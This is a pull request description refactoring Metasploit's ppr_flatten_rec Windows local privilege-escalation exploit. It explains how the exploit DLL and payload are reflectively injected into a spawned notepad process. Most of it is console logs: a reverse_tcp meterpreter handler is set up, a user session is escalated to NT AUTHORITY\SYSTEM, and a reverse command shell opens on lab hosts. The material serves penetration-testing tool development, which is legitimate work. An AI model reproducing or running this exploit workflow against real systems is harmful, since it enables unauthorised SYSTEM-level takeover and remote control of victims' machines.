Refactor of `ppr_flatten_rec`

This PR contains a few changes for the `ppr_flatten_rec` local windows exploit. This relies on the [RDI submodule and kitrap0d update PR](https://github.com/rapid7/metasploit-framework/pull/2698), so that has to be merged first.

First, the exploit binary itself:

* Updated to use the RDI submodule.
* Updated to build with VS2013 from the command line using the same makefile as that which was committed in the kitrap0d PR.
* Builds copy the binary to the correct location in the MSF folder tree.
* Updated to generate a binary called `ppr_flatten_rc.x86.dll` which is a bit more intuitive and will support the case for when we have X64 support.
* Invocation of the exploit requires address of the payload to run, this is injected into memory before exploitation.

Second, the module in MSF behaved a little strange. I expected it to create a new session with system privs and leave the existing session alone. This wasn't the case. It used to create an instance of notepad, migrate the _existing_ session to it, and run the exploit from there. This behaviour didn't seem to be consistent with other local exploits. The changes include:

* Existing session now only used as a proxy.
* New notepad instance has exploit reflectively loaded.
* New notepad instance has payload directly injected.
* Exploit invocation takes the payload address as a parameter.
* A wait is added as the exploit is slow to run (nature of the exploit) -- it's configurable but defaults to 10s. This is a point of discussion.
* Payloads are executed on successful exploit.

Test run on Vista:
```
       =[ metasploit v4.9.0-dev [core:4.9 api:1.0]
+ -- --=[ 1226 exploits - 669 auxiliary - 192 post
+ -- --=[ 324 payloads - 31 encoders - 8 nops

msf > use multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 10.5.26.40
lhost => 10.5.26.40
msf exploit(handler) > set lport 8000
lport => 8000
msf exploit(handler) > exploit

[*] Started reverse handler on 10.5.26.40:8000 
[*] Starting the payload handler...
[*] Sending stage (785920 bytes) to 10.5.26.43
[*] Meterpreter session 1 opened (10.5.26.40:8000 -> 10.5.26.43:49234) at 2013-11-27 19:55:43 +1000

meterpreter > getuid
Server username: WIN-P73NLAJOYFH\OJ
meterpreter > background
[*] Backgrounding session 1...
msf exploit(handler) > use exploit/windows/local/ppr_flatten_rec
msf exploit(ppr_flatten_rec) > set session 1
session => 1
msf exploit(ppr_flatten_rec) > check
[+] The target is vulnerable.
msf exploit(ppr_flatten_rec) > exploit

[*] Started reverse handler on 10.5.26.40:4444 
[*] Launching notepad to host the exploit...
[+] Process 3128 launched.
[*] Reflectively injecting the exploit DLL into 3128...
[*] Exploit injected. Injecting payload into 3128...
[*] Payload injected. Executing exploit...
[*] Exploit thread executing (can take a while to run), waiting 10 sec ...
[*] Sending stage (785920 bytes) to 10.5.26.43
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Meterpreter session 2 opened (10.5.26.40:4444 -> 10.5.26.43:49235) at 2013-11-27 19:56:37 +1000

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > background
[*] Backgrounding session 2...
msf exploit(ppr_flatten_rec) > set session 2
session => 2
msf exploit(ppr_flatten_rec) > exploit

[*] Started reverse handler on 10.5.26.40:4444 
[-] Exploit failed: Session is already elevated
[*] Exploit completed, but no session was created.
msf exploit(ppr_flatten_rec) > sessions

Active sessions
===============

  Id  Type                   Information                            Connection
  --  ----                   -----------                            ----------
  1   meterpreter x86/win32  WIN-P73NLAJOYFH\OJ @ WIN-P73NLAJOYFH   10.5.26.40:8000 -> 10.5.26.43:49234 (10.5.26.43)
  2   meterpreter x86/win32  NT AUTHORITY\SYSTEM @ WIN-P73NLAJOYFH  10.5.26.40:4444 -> 10.5.26.43:49235 (10.5.26.43)
```

Working with other payload and settings:

```
msf exploit(ppr_flatten_rec) > show options

Module options (exploit/windows/local/ppr_flatten_rec):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION  1                yes       The session to run this module on.
   WAIT     20               yes       Number of seconds to wait for exploit to run


Payload options (windows/shell/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique: seh, thread, process, none
   LHOST     10.5.26.40       yes       The listen address
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf exploit(ppr_flatten_rec) > exploit

[*] Started reverse handler on 10.5.26.40:4444 
[*] Launching notepad to host the exploit...
[+] Process 3856 launched.
[*] Reflectively injecting the exploit DLL into 3856...
[*] Exploit injected. Injecting payload into 3856...
[*] Payload injected. Executing exploit...
[*] Exploit thread executing (can take a while to run), waiting 20 sec ...
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 10.5.26.43
[*] Command shell session 4 opened (10.5.26.40:4444 -> 10.5.26.43:49233) at 2013-11-27 20:18:28 +1000
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.

Microsoft Windows [Version 6.0.6002]
Copyright (c) 2006 Microsoft Corporation.  All rights reserved.

C:\Users\OJ\Desktop>pwd
pwd
'pwd' is not recognized as an internal or external command,
operable program or batch file.

C:\Users\OJ\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 5CA2-1F48

 Directory of C:\Users\OJ\Desktop

10/18/2013  01:36 PM    <DIR>          .
10/18/2013  01:36 PM    <DIR>          ..
10/05/2013  02:45 PM           468,056 Dbgview.exe
08/08/2013  06:11 PM        22,749,412 ImmunityDebugger_1_85_setup.exe
09/23/2013  03:20 PM       215,108,600 metasploit-latest-windows-installer.exe
10/11/2013  07:23 PM            73,802 tcp-40-8000-x86.exe
10/03/2013  06:24 PM            73,802 tcp-56-8000-x86.exe
               5 File(s)    238,473,672 bytes
               2 Dir(s)  27,368,304,640 bytes free

C:\Users\OJ\Desktop>
```

So we can see that it should be fine with different payloads.

### Verification

Note, this exploit has been consistently unstable on my Win7 machines (and was unstable before I made any changes to it). It's way more stable on Vista. I haven't tested on Windows XP yet.

- [ ] Works on XP x86.
- [ ] Works on Vista x86.
- [ ] Works on 2003 x86.
- [ ] Works on 7 x86.
- [ ] Works on 8 x86.

I plan to attempt to get this to work on x64 at some point as well, but don't hold your breath just yet!